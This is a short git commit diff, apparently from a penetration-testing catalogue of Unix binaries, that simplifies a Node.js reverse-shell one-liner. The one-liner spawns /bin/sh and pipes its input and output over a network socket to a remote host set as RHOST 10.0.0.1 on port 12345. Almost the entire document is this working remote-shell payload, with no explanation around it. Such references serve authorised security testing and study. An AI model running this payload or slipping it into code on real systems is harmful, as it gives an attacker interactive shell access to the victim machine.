Simplify node reverse shell

This commit is contained in:
Andrea Cardaci 2018-05-24 00:40:03 +02:00
parent 6e2242d3f1
commit ac79267e7e

View File

@ -15,10 +15,9 @@ functions:
export RHOST=10.0.0.1
export RPORT=12345
node -e 'sh = require("child_process").spawn("/bin/sh");
client = new require("net").Socket();
client.connect(process.env.RPORT, process.env.RHOST, function () {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
net.connect(process.env.RPORT, process.env.RHOST, function () {
this.pipe(sh.stdin);
sh.stdout.pipe(this);
sh.stderr.pipe(this);
});'
---